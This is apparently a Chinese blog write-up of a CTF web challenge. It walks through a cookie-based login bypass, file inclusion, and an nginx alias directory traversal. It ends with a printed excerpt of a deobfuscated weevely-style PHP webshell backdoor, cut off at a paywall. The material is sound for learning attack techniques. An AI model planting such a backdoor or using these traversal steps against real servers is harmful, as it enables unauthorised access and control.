攻防世界web进阶区Web_php_wrong_nginx_config

最新推荐文章于 2025-02-02 10:59:45 发布

gongjingege

最新推荐文章于 2025-02-02 10:59:45 发布

阅读量488

点赞数 1

分类专栏： ctf

本文链接：https://blog.youkuaiyun.com/gongjingege/article/details/108001520

版权

该博客讲述了作者在攻防世界web进阶区遇到的一道题目，涉及文件包含漏洞的利用。通过分析robots.txt、登录状态的改变、URL路径以及代码审计，发现了目录遍历漏洞。最终利用漏洞读取了配置文件并解密得到了flag。过程中遇到了Python版本兼容性问题，通过学习和修改脚本，成功获取了flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

打开题目链接
出现了个登陆界面，随便试着登一下

在这里插入图片描述

提示网站建设中，以为是sql注入，结果全是提示这玩意

看一下robots.txt

在这里插入图片描述

挨个访问一下

在这里插入图片描述 hint.php给了一个文件路径，可能是文件包含方面的

但是Hack.php自动跳转到登陆界面，题目不可能给没用的，抓包看一下

在这里插入图片描述将islogin改成1，就成为登陆状态，然后放包

在这里插入图片描述

除了管理中心以外，其他的点击会跳转到登陆界面

那就看一下这个管理中心

url出现新的路径，如果admin访问正常，会please continue

在这里插入图片描述
那么file，和ext文件扩展名，会不会是文件包含漏洞

试一下，发现…/被过滤了

emmmm，测试一下

在这里插入图片描述

想到双写，但半天没弄出来，看下大佬的payload

在这里插入图片描述读取到 /etc/nginx/sites-enabled/site.conf 配置文件
审计代码

在这里插入图片描述

在 url访问 /web-img , 就会访问系统根目录下的 /images/

在这里插入图片描述

嗯，一个目录遍历漏洞

遍历目录 , 在 /var/www 下能找到 hack.php.bak

在这里插入图片描述
下载下来，发现一堆乱码

在这里插入图片描述

看下wp，也不太懂php混肴后门还是weevely 生成的 WebShell 后门。。。

echo $f 得到
在这里插入图片描述

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
   
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
   
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
   
			$o.=$t {
   
				$i
			}
			^$k {
   
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
   
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
   
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m

最低0.47元/天解锁文章